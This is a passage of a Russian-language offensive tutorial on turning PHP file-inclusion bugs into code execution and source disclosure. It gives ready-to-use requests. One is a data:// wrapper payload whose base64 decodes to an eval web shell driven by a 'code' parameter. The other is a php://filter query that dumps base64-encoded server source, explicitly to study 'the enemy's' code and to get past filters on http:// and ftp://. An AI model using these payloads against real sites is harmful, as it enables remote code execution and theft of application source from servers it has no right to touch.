Есть еще
несколько вариантов, но они
требуют «особых условий» для
реализации. Докручивать инклуд
мы будем двумя способами — с
помощью так называемого
«упаковщика» data и фильтров
filter. Разберем подробнее.
1. Могучий data.
Требования для использования
метода:
a)
allow_url_include должна быть
включена. (allow_url_include =
on в файле php.ini)
b)
Отсутствие символов перед нашим
значением, т.е.
include('./dir/'.$file); не
подходит, а include($file);
отлично подойдет!
Это, конечно же, немного
осложняет ситуацию, однако, если
стоят какиелибо фильтры на
присутствие слов «http://»,
«ftp://» и т.п., то,
естественно, провести RFI не
удастся, тут-то нам и пригодится
данный метод. К примеру, если у
нас есть уязвимый код:
<?php include
$_GET["file"]; ?>
Смело составляем запрос
?file=data:application/x-httpd-php;base64,PD8gZXZhbCgkX0dFVFsnY29kZSddKTsgPz4&code=phpinfo();
Разберем подробнее:
data —
непосредственно указывает, что
будем использовать "упаковщик"
data application/x-httpd-php
указывает mime-тип данных, в
нашем случае это тип данных
php-скрипта
base64 —
указывает, что входящие данные
зашифрованы в base64
PD8gZXZhbCgkX0dFVFsnY29kZSddKTsgPz4
— входящие данные (после
расшифровки "<? eval($_GET['code']);
—
?>") code=phpinfo();
переменная, используемая в eval
Выполняем запрос и созерцаем
заветный phpinfo().
2. Фильтруем базар
или удобный filter.
Требования для использования
метода:
a)
Отсутствие символов ПЕРЕД нашим
значением в инклуде (аналогично
первому методу).
b) Наличие
соответствующего фильтра (для
просмотра установленных фильтров
использовать функцию
stream_get_filters).
3) PHP версии 5.0.0 и
выше.
Уязвимый код:
<?php include
$_GET["file"]; ?>
Составляем запрос:
?file=php://filter/convert.base64-encode/resource=/home/user/www/index.php
Разбор полетов:
php://filter
— указывает, что используются
фильтры convert — указывает,
используются преобразовывающие
фильтры
base64-encode —
указывается сам фильтр
resource —
указывается расположение
требуемого файла
Результатом данного запроса
мы получим исходный код файла
index. php, зашифрованный
base64, останется лишь
расшифровать и изучать исходный
код недруга.
Почитать подробнее о данных
функциях можно на
php.net